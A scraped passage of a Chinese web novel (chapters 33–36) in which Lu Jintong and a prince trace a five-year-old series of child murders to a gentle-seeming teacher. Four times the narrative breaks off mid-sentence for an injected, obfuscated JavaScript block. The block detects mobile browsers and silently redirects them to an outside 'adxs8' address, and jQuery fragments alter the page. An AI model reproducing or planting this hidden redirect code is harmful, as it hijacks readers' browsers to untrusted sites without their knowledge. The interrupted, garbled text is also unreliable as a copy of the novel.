案子等睡醒了再想,她要困飞了,每天这个运动量,真的是会让她累成狗。 她觉得以后可以吃得再多一点了,百分之九十的概率不会胖。 睡了个把时辰,路锦瞳精神满满的起来了,竹月进来伺候她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138590|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿好衣裳,又给她梳顺睡乱了的头发。 路锦瞳看了看镜中迷迷瞪瞪的自己:“竹月,你知道五年前的少年被杀案么?” “奴婢记得,”竹月轻声道,“原本只发生在沼水村,后来竟到了京城,之前那位宋云知小姐的丫鬟柳絮,她的父母不就是被冤枉了么,砍了头之后才知道冤枉了人家,可是人已经回不来了。而且官府中就打算那么草草结案,都不想继续查,若不是柳絮不肯放弃,只怕现在那黑锅还在他们头上扣着呢。” “多余一些的你知道么?”路锦瞳问,“比如说,京城中有没有这样一个男人,个头高,但是身子有些弱,容易生病,性格温和,平易近人,特别讨小孩子的喜欢,对了,他的腿可能受过伤,落地会比左脚更重。” 竹月手上动作变缓,表情凝重的思索起来,片刻道:“这样的人很多吧,还有一些贵族公子也是这样,如果按照小姐这么说,那七皇子也有可能了。” “怎么说?” 竹月道:“七皇子身体很差,据说是因为慧妃娘娘早产,从娘胎里带出来的病根,七皇子性格也很好,身形瘦弱,没有人不喜欢他,包括小孩子,不过倒是没听说过七皇子的腿受过什么伤。” 不会吧,这事总不可能依然是牵扯到皇家去的吧?那她也太点背了,刚来遇到的案子就与三皇子有关,还和四皇子一起查案,现在疑似的人还可能是七皇子……她这是捅了皇子窝了么? 之后得向容筝旁敲侧击一下七皇子,因为这种事其实有权力的人最好干,就别说案子发生的时候沈知安还特意被调走了……路锦瞳越想越觉得不对,只好先把他拉进怀疑的队列,毕竟一个皇子总不可能亲自去杀人吧,还得比对一下脚印,才能知道是不是,容筝与七皇子相处多年,总不可能连个鞋印都认不出来。 陆绾和路钊在京城生活多年,又常在生意场上转悠,见过形形色色的人多到数不胜数,想必对七皇子也略有耳闻,如果时常要掺和进皇家事情的话,那她必须得了解了解,免得连自己怎么死的都不知道。 路锦瞳打定主意,便去书房找陆绾去了。 路府一共有两个书房,陆绾一个路钊一个,他们两个的分工不同,所以不能混在一起,以免到处乱放导致对方找不到东西。路锦瞳到了陆绾的书房门外,轻轻叩门,里头传来声音:“谁啊。” 路锦瞳夹着嗓子道:“娘,是我~” 她来了这半个多月,发现陆绾特别喜欢她撒娇,可能是因为原先原身不常这么对她吧,反而还有些距离的样子,突然被女儿那么亲近,陆绾几乎是有求必应,就差把她捧天上去了。 对此路锦瞳非常感动,她自知占了原身的一切,只有尽自己所能的让他们夫妻俩高兴,然后不给他们惹麻烦。 陆绾的欣喜的声音从里面传过来:“小锦来了,快进来。” 路锦瞳推门进去时正与迎上来的她对上,陆绾笑眯眯道:“听竹月说你睡了,娘就没有去打扰,怎么样,上午累坏了吧?” “还好啦,就是比较费脑子,所以很困。”路锦瞳道。 陆绾引着她到了桌前,给她到了茶水:“这是花茶,很清香,你不是不喜欢苦茶叶么?对了,殿下今日叫你去查什么案子?” “谢谢娘。”路锦瞳接过抿了一口,果然口齿生香,宛如吃了片口香糖,“是五年前的案子,娘应该知道,之前发生在沼水村,后来发生在红梅客舍和闹市,宋云知丫鬟的父母还被冤枉处斩了。” 陆绾顿悟:“哦,是那桩案子啊,我记得,之前就听说四殿下对那个案子很上心,没想到过去这么久了他还惦记着,还叫了你一起过去查。” “殿□□察民情嘛,六位受害者的父母还等着看到结果的那一天,总不能一直放着,迟早要查出来的。”路锦瞳笑道,“娘,我是想来问问您,您可知道京城中有没有什么男人,身高八尺左右,偏瘦削,但体弱多病,吃什么药都不见好,脾气温和,不与人恼怒,还特别讨周围人,特别是孩子的喜欢?” 陆绾略略思忖,随后道:“你说的这些特征,都是凶手身上的吧?这样的人太多了,总得有个大概范围,比如说哪些地方才有这样的人。” “娘说的是,女儿此番是来向您借人的。”路锦瞳道,“衙门和大理寺虽然有人,但终归无法完全控制,他们有没有认真做事我也不知道,但咱们自己府中的人总是可以相信的,您借我五六个人,我让他们四处问问。” “这当然没问题,咱们家的人你随便用,想用多少用多少。”陆绾爽快答应,“不过,你们查的怎么样?能不能和娘说说?娘肯定不和外人说,就自己知道,当然,如果要保密不能说,那就不说。” 这倒没什么不能说的,路锦瞳道:“倒也没什么,就是……娘,您先把茶杯放下。” 陆绾不明所以,但还是将杯子放下了。 路锦瞳道:“今天上午刚问到的,那几位被杀的少年内脏不是都被掏空了么?庞载之前定柳絮父母的罪也正是用从他们屋中找到一块腐烂的肝,仵作当年验看后发现肝的切面像是被人咬过,所以女儿现在怀疑,凶手杀人极有可能是因为他身体不好,所以才将年轻的男孩杀掉,取出内脏来煮熟吃了,以此试图让自己的身体变成和正常人差不多的。” 陆绾被她这一言论惊得睁大眼:“真的么?还有这样的人?” “是真的,仵作验看很多次了,”路锦瞳道,“所以娘有功夫可以想一想,您有没有听说过什么人,或者说什么家族,祖上有传下来怪异的方子,是吃人的内脏可以补全自己不足的,如果有,您一定要和我说,是凶手的可能性非常大。” 陆绾皱起眉,她有些犹豫道:“我没有听说过,但我想起了一桩事……早在两年前,我和你爹去徐州进货时,好像听到过与这桩案子颇有相似的一件事。” 33. 第 33 章 相似的事情?路锦瞳皱眉:“娘请说,是怎么一回事?” “是这样的。”陆绾道,“前两年京城不是罐头卖得多么,我听说是从徐州那里兴起的,便觉着这是个发家的好时机,和你爹说一起去徐州看看,能否学上手艺,再发展到京城,如若不然,与人谈妥了分成往这边卖也是可以的。 “去徐州的途中,我和你爹晚上投宿了一处村子,就在第二日准备离开时,村子突然乱了起来,我们跟着去看,才发现是村子里有小孩出事了,秉着帮帮忙的想法,我和你爹过去,见到了孩子的尸体,先前被吓到了,一直都没敢怎么回忆,加上后来去了徐州事情太多,忙得无暇顾及旁的东西,就把这回事忘了。 “现在你这么一说,我倒是有点想起来,那个孩子好像也和五年前的那些孩子们一样,都是被挖空内脏而死的,至于那些内脏去了哪里,是不是被吃了,这娘也说不过来。” 她这么一说,路锦瞳立马来了精神:“除了那个孩子,那个村子还有其他的小孩受害么?还是只有那一个?” 陆绾想了想,道:“我记得好像除了那回,之前也还有,那些村民议论过。” 如果陆绾说的是真的,那就说明除了沼水村和京城外,还有别的地方发生了同样的案件,而因为全国信息不流通,所以根本没有人知道凶手是逃窜犯案,还以为他停手了。 信息差真的是一个很大的问题,路锦瞳记得之前看过的一些小说,古时候传信几乎都是靠人马,再不济就是飞鸽传书,可不论是马是鸽,来往都是需要时间的,有时边远地区发生了何事,待传入京城时就已经不早了,有时边疆打了胜仗或败仗,传信回京都需要一段时间,根本无法互通信息。 路锦瞳道:“娘,您这里有全国地图么?让我看看。” 陆绾闻言,连忙引她到屏风后,墙上挂了一张巨大的地图,每处都很清晰,包括城、县、郡、村,大大小小的地名都有,甚至各个之间相距多少里都标了出来。陆绾道:“这是爹娘年轻时走遍全国画出来的,做生意嘛,又想将生意做到全国,自然得了解的多一些,这样往后想从哪里发展生意,也更方便一点。” 路锦瞳由衷的佩服,靠着自己走遍全国,并绘下这张地图,已经不止是厉害二词能概括的了,路氏夫妇是真有毅力,也是真心想做生意,难怪能做这么大,并且这么多年都坚持下来了,他们这么努力还不成功,那谁能成功? “就是这个村,”陆绾给她指,“娘记得听不清楚,当时从徐州回来时,也是在这处歇着的,还将罐头分给村民了呢,记得那时还问过他们案子破的如何了,有没有抓到杀小孩的凶手,村长说依然没能找到,邻城的捕快都出动了,凶手毫无踪影。” 路锦瞳看了看那处村子,距离京城有几百里了,已经离得很远,她道:“娘,你和爹去这个村子的时候,是几年前?如果能确切到几个月就好了。” 陆绾沉思片刻,随后道:“好像是两年前了吧,几个月……那会儿是冬天,我们特意挑着那个时间去的,因为冬天东西更好保存,不论是春夏秋,都可能会让罐头变质,带货来的这段路又没有冰库可以放。” 案子是五年前的,而陆绾和路钊外出遇见则是在两年前的冬天,这么说来,凶手在离开京城的两年多,一直在沿途犯案。 路锦瞳眼前一亮,是了,既然她对凶手的刻画是一个身体瘦弱的男子,甚至虚弱到了一定的地步,他非常介意自己的身体,迫切的想要变成与常人一般无二的程度,已经急到去吃人的内脏来补给,那他又怎么可能停手呢?要知道,身体差是天生的,有些人不论喝多少药,尝试多少种方法,终其一生都无法摆脱,岂是单靠吃内脏就能补回来的? 所以凶手在吃了六个孩子的内脏后身体一定不会恢复,凭两年前还在发生同样的案子这一点就能证明,这些年来一直都没有变化,或许有所好转,否则他也不会坚信一定能治好身体,连吃两年了。既然两年前还在吃,那么这期间肯定不会停,也行他不会一个接一个的城市作案,但他会在距离原先作案的地方很远的城市再次策划。 也不知现在他还有没有继续坚持,如果没有继续那当然是最好,有多少孩子能免于惨死他的手下,可如果他还在作案……或许这更让他们能有机会抓住她。 如果互相之间信息能够互通,也许这件案子就不会搁置五年了,分析清楚凶手的形态特征,还是很好抓人的。 那就能排除七皇子了,路锦瞳感觉非常不好意思,可能是第一个案子给她的印象太深了,导致她现在容易把简单问题困难化,稍稍觉得不太对劲,还会把嫌疑往权贵人家身上带,实在是太不对了。 不管怎么样,今天这一趟跑的值,还要多亏陆绾,不然她也不能得知这么多的信息,她道:“娘,您这份地图实在是好东西,女儿能临摹一份么?绝对不会传给别的商人的,顶多就是自己看看,然后给殿下看看。当然了,如果将来能进入大理寺,可能会给沈大人他们看看……好吧,还是外传了很多人。”路锦瞳越说越没底气。 陆绾却道:“没事啊,这有什么,不就是份地图?又不是生意上的机密,看到就看到了呗,也不会少块肉。等着,娘等会儿就叫人给你临摹之后送过去一份,不用你自己来,好好休息,然后认真办案,早日将凶手捉拿归案才是正经,瞧瞧他祸害了多少好孩子,也真是能下得去手!” “多谢娘!”路锦瞳眼睛一亮,有这么大的气度,一般都是大老板了,都说“宰相肚里好撑船”,那么路氏夫妇就是生意场中的宰相了! “对了,”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178291|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绾道,“等会儿叫绣娘进来给你量量尺寸,做件衣裳,上午收到帖子,过些日子中秋宴会,皇上特意请了你去,咱们家经商多年,虽然颇得皇上喜欢,还从未能进宫参加宴会什么的呢,你可要好好表现,虽不至于讨他们喜欢,但也不要出了错,宫中贵人之间麻烦事最多了,可千万要记得避开他们。” 路锦瞳懂,之前原身招惹的人不少,再加上她之前查案,将朱府和丞相府的人都得罪了个遍,朱府的余党不知有没有,但丞相府的人可还在呢,宋云衡也是因为她的追查被处斩。 这么说来,原身惹得都是些妇道人家,她惹得却全都是朝中大人物,原身十几年惹的事还没她来半个月的大。 路锦瞳有点想扶额,怎么说呢,想要不被牵连到什么,那就乖乖的吃饭,乖乖的等宴会结束,期间无论发生什么事都不要离席,尽量少喝水,并且万一有人“不小心”撒了她一身酒水或是茶水什么的,千万不要听人说去更衣。反正原身也不在乎名声,她来了之后更是败坏的彻底,旁人要说那就说吧,她就穿着脏衣服蹦跶怎么了? 再说了,她的反应力也是很快的好不好?有时身体能先她一步察觉到危险,真要是有人往过泼,躲开就是了。 见路锦瞳全都点头答应,陆绾又道:“你放心,宣平侯夫人是我多年的好友,届时她也会去,我会让她多多照应你,不要担心,少说话就好了,专心吃饭,宫里的饭还是很好吃的。” 路锦瞳道:“娘放心,女儿知道轻重,绝对不和任何人起争执。” 不得不说皇上还是挺大胆的,也或许是想吃瓜?路锦瞳就不相信他没听说过原身的大名,知道她去哪闹哪,和个刺猬似的逮谁扎谁,还叫她参加中秋宴会,不怕她变身超硬的月饼一人拍一下吗? 路锦瞳又陪着陆绾坐了一会儿,蹭了几块点心,便有绣娘来给她丈量尺寸,绣娘量了一半,赞道:“小姐比以往结实了不少啊。” 路锦瞳还是第一次听说夸女孩子用“结实”这个词的,一般都是说“你胖了”或者“你瘦了”来形容,但她听了很高兴,这说明这段时间里她的锻炼是有效果的,真的将肌肉什么的练出来了,毕竟健身过和没健身过看着还是挺明显的。 *** 第二日到了大理寺,等见到容筝,路锦瞳便将昨天从陆绾那里得到的消息全部将与他。 “我觉得,殿下应该向给全部的县令和知府传信,凡是与京城这桩案子相似的,全部都报回来,然后我们再派人逐个排查,并将凶手描述发给他们,在还没有找到相似的人时,不要发出通缉令。”路锦瞳道,“殿下能否争取更多的人?届时若各个地方都报回案件,除了他们自己走访之外,我们的人也必须过去了解情况,回来向我们汇报,有些东西,光靠书信是无法传达的。” 34. 第 34 章 信息不互通就会导致这样的情况,明明凶手逃窜作案,但各地官员却不知道,还各自立案侦察,等凶手一跑,那就又成悬案了,难怪逮不着人。 或许她应该专门在各地组建情报网?每隔几个月或者半年一年的就一同上报回京城,然后再传信到各地?让案件有联系的自己联系,或者是地方官员派人亲自跑,互通消息。 路锦瞳想了想,觉得这个如果做起来肯定特别耗人力,但是没办法,谁让现在不是网络时代呢,她总不能在全国接网线,这就涉及专业盲区了。 “好。”容筝答应,“这样,我先去向父皇说一声,分下几批人来,分别到全国各地搜寻一下,看看有没有与这个案子大致相同的,都记录好报回来。” 他看了路锦瞳一眼,又道:“顺便,也可以问问当地有没有什么未破的大案,誊抄一份卷宗带回京中,这样也可看看有没有像这个案子一样的情况发生。” 路锦瞳一惊,她有的时候真的会怀疑容筝是不是她肚子里的蛔虫,方才那番话她确实是自己在心里说的吧?没有发出声音来吧?他怎么会知道她在想什么,甚至还采纳了她的想法呢? 不过结果是好的,她就高兴,虽然很费精力,但是在这样的环境下这是她能想到最好的方法了,如果不做,那倒是省事,可永远都不会有结果了对不对,哪怕是困难,只要克服,将来就会省去不少的麻烦,起码不会再发生像这个案子一样的事情了,如果凶手在各地作案,大家在一起讨论开个会,就都能串联起来,而且多人一起探讨的话,能开辟更多的思维。 路锦瞳之前参与过积案,当时她跟着师傅学习,在各地辗转跑来跑去,跟着开了不少大会,一个会议室里坐满了人,大家都从自己的办公室搬出一把椅子来,你挨着我,我挨着他的,热火朝天的讨论,连领导都是一起围在桌子跟前,没有架子的与她们讨论,引导方向。 她特别喜欢那种气氛,而在那个时候大家都会纷纷提出自己的想法,很多同事提出的都在点子上,他们说出的言论好多都是路锦瞳没有注意到的,而正是那几个很重要的点,成了破解案件的关键线索。 容筝的动作很快,就单昨天下午,他就已经将衙门、大理寺还有刑部的几个人拉过来了,府衙的人尤其多,已是深秋,最近没什么案子,衙役们都比较闲,钟煜就把他们大部分人都派来了,反正他们对京城最熟悉,哪怕是沼土村和沼水村也一样,这两个村子都属于京城府衙的管辖范围,出什么事也都是他们去管的,多来些人能帮大忙。 陈虎也来了,他和路锦瞳尴尬对视,路锦瞳梗着脖子,很酷的扭开了头。 他俩没有什么仇,但是她就是不想主动去跟人说话! 人差不多到齐,容筝专门选了一间屋子,路锦瞳叫人把好几个桌子并在一起,长长的一排,努力做成会议桌的模样。她当然不可能坐中间,把容筝哄上去后,自己坐在了右侧第一个。 容筝先总结发言:“本宫请各位的来意想必大家都已经清楚了,我们要联手彻查五年前的少年被害案,在此期间,各位每日准时来大理寺报道,在原先地方的工作可以交给别人来做,直到彻查清楚,抓住凶手为止。” 凶手的画像已经差不多出来了,加上行为举止怪异,全国追查下去的话,也不过是时间问题,只要全国各地的衙役们齐心协力,百姓也一起帮忙,搞清楚他的身份并将人抓住不是不可能。 容筝也是在思虑再三才做了这个决定,他将路锦瞳给来的信息整理了一下,又听她分析了接下来如何查案,在破案的把握达到一半往上后,这才敢在这么多人面前夸下海口。 底下的人纷纷应是,容筝这才看向路锦瞳:“本案路姑娘会跟着我们一起查,她有什么意见你们要多听,之前丞相千金宋云知一案也是她协助破的,很有经验,你们也能和她讨论。” 路锦瞳下意识向他们报以微笑,笑了半天后想起来自己还戴着帷帽,人家都看不清她的脸,就别说一点声音都没有的笑了。她生怕别人觉得她高冷摆架子,赶忙微微躬身:“多多指教。” 好吧,这样看起来更高冷了。 其余人没什么反应,倒是大理寺的那几个熟识的人向她友好微笑。 “目前已知信息,凶手在从沼水村和京城犯案后离开,跑去别的城市继续作案,作案对象和手法基本一致,都是十岁左右的男童,据仵作检验,凶手是将受害者迷晕后生取出内脏的。”容筝道,“本宫与路姑娘一同去了府衙,从仵作那里得知,凶手挖出受害者内脏极有可能是将其吃了,来滋补身体。因此,凶手身高大概八尺左右,身形瘦弱,且身体不好,很容易生病,总要喝药。各位在京城、沼土村、沼水村以及金陵走访时专门针对性的寻找这类人,并且他要与六位受害者关系不错。” “小孩的警惕心有时也会很高,想要掳走需得耗些力气,如果想要不被任何人发现,那一定是值得孩子信任的人。”容筝接着说完,“余景,将图纸给大家分发下去,你们可以选择走访哪个地方,每人一张,一定要问得特别清楚,事无巨细。” 下头的人纷纷起身拱手:“属下明白。” 余景便给他们分发下去路锦瞳昨天下午绘出的表格,毛笔字比较占地方,路锦瞳专门找了很大的纸张,叠了三下才看着小了一些,她根据陆绾的那张大图纸,把那四个地方大大小小的角落都整理出来,按照人数,以及职业分类,家中几口人,性格看上去怎么样,分别画了几个格子,让衙役们不带芥蒂的去填写。 相当于是查户口了。 路锦瞳不好意思坐着,大家都出去干活,她没个一官半职,又不像容筝是皇子,既然参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178292|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与进来了,那就不能干坐着等消息网上送,她前世当了队长也依然在外面跑,好像是椅子上嵌了钉子似的,根本坐不住。 这么想她也就这么决定了,容筝便道:“那我和你一起去。” 路锦瞳有点懵:“啊?不用的殿下,您忙您的,我自己也可以。” “保护你,一个女孩子在街上问不太安全。”容筝道。 可是还有慕柏啊,路锦瞳看了看门口那根白桩子,又看容筝起身准备要走,想说什么,又憋回去了。 她和容筝并肩一同出了大理寺,两人都没有提马车的事情,路锦瞳是发现了,容筝有的时候有点扣扣嗖嗖的。她之前在大理寺无聊时从门口麻油过,容筝过来不坐马车,就单纯的骑马,衣服花样也不多,认识他半个多月了,今天身上这身衣服已经见他第五次穿,其他的衣服也都穿了好几回。 路锦瞳觉得他肯定是有点抠门,毕竟他们家都不是贵族,她还隔个两天就换一套呢,至于之前换下来的,也不知道竹月放到哪里去了,料子怪好的,回去和她说说,可别给扔了,还能再穿一段时间。 路锦瞳随便抽了一张。容筝叫来的人数有限,而这四个地方,除了两个村子稍微小一点,剩下的京城和金陵都范围很大,人数还那么多,一个一个问下去,怎么着也得很长时间了。 等等,这种事情,是不是一些“百晓生”知道的很多呢?路锦瞳突然灵光一闪,她想到了之前询问的那几个小乞丐。 他们每天见到形形色色的人最多,而且无聊的时候也会互相待在一起聊个八卦什么的,知道的肯定很多。路锦瞳激动起来:“殿下,咱们等等再去纸上的那个地方,先去城门口那边,找之前的那几个小乞丐吧?” “乞丐?”容筝一愣,随即很快明白过来,“好,走吧。” 他们二人快步往城门口过去,步子稍快,路锦瞳身上也出了一层汗,她又沿着当初那个巷子进去,果真见那几个小孩正头凑头的在看些什么。 她几步上去:“小朋友们,在干什么?” 围成圈圈的小孩子们纷纷抬头,露出几双黑白分明的眼睛,路锦瞳一看,原来他们面前是几个包子,热气腾腾的。之前回答她问题的那个乞丐头头回答:“哦,是路小姐啊,我们在吹凉包子呢,你要来一个吗?” “不用了,谢谢,我不饿。”路锦瞳谢了他们的好意,“那你们先吃,吃完了我再问你们几个问题行吗?还是老规矩,见者有份,每个人都有一串铜板。” 小乞丐眼睛一亮:“不用等,小姐现在就可以问,包子什么时候吃都是可以的。” “不是哦。”路锦瞳摇摇手指,作为一个资深吃货,她非常不认同这样的说法,“包子凉了就不香了,我看你们这是刚出锅就买下的吧,就该趁着这个时候吃,热包子是最香的!” 35. 第 35 章 她猜出小乞丐是怕“银子”跑了,毕竟他们每天乞讨赚的钱并不多,而路锦瞳给的一串能活大半年呢,如果每人一串的话,那至少有好几年都不用再担心吃不饱饭了,生病了也能去买药吃,不用病死。 她不太想伤那些小朋友的自尊,于是使劲怂恿:“快吃快吃,热乎乎的吃多香啊,到时候凉了,油腻腻的,你们该不会是觉得凉包子好吃吧?也太没品味了,聪明的小朋友都是吃热的!” 几个小乞丐互相对视一眼,都不想当不聪明的孩子,于是纷纷捏起来吃了。 路锦瞳在旁边看得简直要流哈喇子,这几个小孩吃得也太香了,看起来很有食欲的样子,哪怕是她早上在家吃的很饱,此刻见了也忍不住有点馋。 等会儿结束了去买个包子吃吧,她这么想。 也许是她的目光太明显了,乞丐头头欲言又止,然后端着牛皮纸递给她:“路小姐,你吃一点吧,这家包子可香了。” 小孩的眼神中带了渴望,路锦瞳觉得自己不接不行,万一伤害到孩子的自尊怎么办?她心里没那个意思,但孩子要是多想,觉得她是因为嫌弃他们的东西不干净才不吃的话,那肯定会很失落的。 于是路锦瞳高兴的伸出了爪子:“那就谢谢了!” 她真的馋很久了。 乞丐头头又向容筝递过去:“大哥哥,你们要吃吗?” 慕柏上前几步,摸了一个包子来,道:“谢谢。” 他都吃了,容筝再扭捏就不太好了,他想了想,也上来拿了一个,还摸摸小乞丐的头:“谢谢你。” 小孩的眼睛便肉眼可见的明亮起来。 路锦瞳看着几个大人和小乞丐们围成一个圈蹲着吃包子,突然觉得有点幻灭,又难得觉得温馨,好像自来到这里,她就许久都没有见到过这样的场面了。 吃干抹净后,小乞丐终于提起了正事:“路小姐,您请随便问,只要是我们知道的,就都会告诉您。” 路锦瞳腿蹲麻了,就找个台阶坐着,她道:“你们五年前的时候在哪里?” 乞丐头头扳着指头算了算:“五年前我七岁,就已经在这里乞讨了,小姐是想问红梅客舍那件事吧?” 这孩子真聪明啊,路锦瞳觉得他是个好苗子,知道的东西多也就罢了,脑子还转的快,好使。知道她曾经问过柳絮舅舅的事,再来便自然而然认为她仍事询问案件的问题,又特意提到了五年前,当下就将两件事联系到了一起。 路锦瞳赞许道:“不错,我想问的正是这桩案子,不过我不问你当时发生了什么,我主要想知道的是,你知不知道有什么人是沼水村和京城两头走动的,个头很高,却比较瘦,身体不太好,但是会和孩子们打交道,很讨人喜欢?” 小乞丐露出沉思的表情,随后他一拍手:“有的!又这么个人!” 路锦瞳精神一振,几乎是以饿虎扑食的动作扑上去:“是谁?” 小乞丐吓了一跳,默默往后挪挪,远离这个比较神经的女人,他道:“那人好像叫邓徵,是个教书先生,原先在沼水村教书,后来听说是为了治病,来到了京城,因为人很好,学识丰富,私塾先生就让他去教书了。他对孩子们可好了,经常会买吃的给大家,还给我们买过东西呢?” 路锦瞳问:“他多高,体型如何?” 小乞丐指指容筝:“比这个大哥哥要低一些,因为身体不好的缘故,所以很痩,我们经常见他吃各种各样的药,有的时候天气变冷,他就时常生病,常常向私塾请假呢。” “他现在不在京城了吧?” “不在了,”小乞丐摇头,“五年前就走了,说是家里托人带来了书信,找到了什么好药,让他回去治身体呢。” 路锦瞳皱眉:“五年前走的?差不多什么时候?” “就是第六个孩子遇害后不久,我记得很清楚,那天午时处斩了一对夫妇,邓先生就是那个时候走的,”小乞丐道,“那天我还碰见他了,他像以往一样给我糖吃,还嘱咐了我好多话呢,我还抱着他哭了好久,他哄了我半天才离开的。” 小乞丐说完这一堆,路锦瞳脸用帷帽遮着,他看不清她的神情,但见容筝一脸严肃的思索,不禁心中有些发慌:“路小姐,你们问邓先生做什么?该不会是怀疑他和案子有关吧?不可能的,绝对不可能,邓先生是好人,是谁都不可能是他。他对我们这些孩子可好了,平常的人见了我们都是嫌晦气,只有他会给我们带吃的,教我们识字,甚至还给我们买过衣服呢。” 他急急的解释:“之前有好几个孩子因为家里穷,没法读书,只能跟着爹娘一起做活,他知道以后,专门跑去人家家里和他爹娘说清楚,分文不取的教那几个孩子读书,他是我们的大恩人呢。” 正是因为路锦瞳对他交付了善意,所以他才会急急忙忙的解释,要是换旁人的话早就不理了,小乞丐潜意识里觉得路锦瞳会认真听他说的每一句话,就像是邓徵一样。 路锦瞳面色凝重:“我知道了,放心吧,现在还没有证据说明就是他呢,我们也只是例行问话。更何况,身量相近又身体不好的人多了去了,也不一定就是邓先生,不要着急,我会查清楚的。” 她这样说着,心中的怀疑却是没有减少,她曾见过了太多太多变/态的凶手,也有那种表演型人格的,对外彬彬有礼如沐春风,背地里却是个衣冠禽兽,害了的人数不胜数。在没有证据的情况下她不会武断,可却不会因为他风评好是个好人就彻底不管了,现在这么说,充其量是在哄孩子而已,免得小乞丐心里觉得是因为他自己的原因把邓徵推上了风口浪尖。 小乞丐惶惶道:“如果您这么讲的话,与邓先生相同的还有一个,是周家的公子,他也身体不好,而且身形与您描述的很相似。只不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178293|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脾气很差,对谁都臭着一张脸,我们都不喜欢他。” “那他离开京城了么?” “没有……” “他去过沼水村么?” “好像去过,但次数不多。” 那就肯定不是了,凶手目前一直在逃窜作案,周家公子未离开京城,而且也不会讨小孩的欢心,如果他想在全城戒严时哄骗小孩跟他走,恐怕会很难吧?不光是难,小孩可能还会大哭,引来一堆人,那凶手早就抓到了。 凶手至今未能归案,很大一部分原因是他太会装了,周围人都还没发现他的真面目呢,他就跑了,去下一个地方继续装,这就导致留给大家的印象都特别好,以至于都不会怀疑他。 根据路锦瞳的分析,这个叫邓徵的嫌疑还是很大的。 为了防止遗漏什么,路锦瞳又问一遍:“你确定,在京城和沼水村两个地方都住过,身体不好的人只有他们两个?没别的了?” 小乞丐摇头:“没有了。” 路锦瞳照例从荷包里摸出银票,跑到对面铺子去换成吊钱,回来给小乞丐们发了一人两串,见他们要还,路锦瞳连忙道:“我还吃了你们的包子呢,收着吧,之后少不得还要问你们旁的东西,就当是定金了。” 小孩们不懂定金是什么,但路锦瞳坚决不要她们还回来,也就只好收下了,离开前,小乞丐拉了路锦瞳的手,他怯怯道:“路小姐,邓先生真的不可能是,您想,如果他真的是凶手,为什么当时我能逃过一劫呢?” 这个问题刚刚路锦瞳想过,按理说这些乞丐们才是他动手的第一对象,没爹没娘,就算是失踪了也不会有人在意,同伴去找官府也不一定会放在心上,可凶手并没有怎么做。或许是因为那会儿都不大吧,还是个小孩子,没有到九、十岁,没达到他定的“标准”,所以才逃过一劫。 路锦瞳模棱两可的回答:“你说的有道理,我回去之后会仔细想想的,先走了。” 她摆摆手,离开了那条小巷子。 容筝走近:“你觉得,邓徵有那个可能么?” “说实话,我觉得他非常有可能。”路锦瞳道,“他和我对凶手的描述相似程度高达百分之……差不多九成,再加上他离开京城的时间太过凑巧了,虽然据那个孩子所说,他离开时并无异样,可这才不对劲不是么?京城的私塾月例很高,这里的名医更多,如果他的家乡有别的方法,为什么又要辗转来到沼水村,然后再来京城呢?” 她提出数个问题,最后还是摇摇头:“但不管怎么样,还是得先等这四个地方全部询问过后才能有答案,也说不准还有旁的人被那些孩子们忽视了,只有全部查出来之后,才能确定真凶大概是谁,我们接着去城西那片问吧。” 她拐了个弯,在容筝的带领下来到城西,将那一条长街的人全问了个遍,挨个儿在纸上填满,快到中午时才结束。 36. 第 36 章 将这片范围的人都问了个遍,得出的结果只有一个,那就是邓徵。 倒也有人说周家公子,但只是偶有提及,毕竟路锦瞳说出的特征比较具体,周家公子除了身形和体弱多病之外就没有能对的上的。也有人很敏锐,联系路锦瞳前面讲的话明白他们来询问这些是因为怀疑邓徵有可能是五年前的凶手,纷纷为他说好话。 一路问下来,大大小小的铺子一共二十三家,就有二十三家的人说不可能是邓徵,给路锦瞳讲他是多么好的一个人。这边开早餐铺子的人较多,还都是年龄比较大的老人,他们拉着路锦瞳说个没完,把之前邓徵做过的好事林林总总讲了个遍,没有人不喜欢他,他是个懂事又勤奋的小伙子,只可惜身体不好。 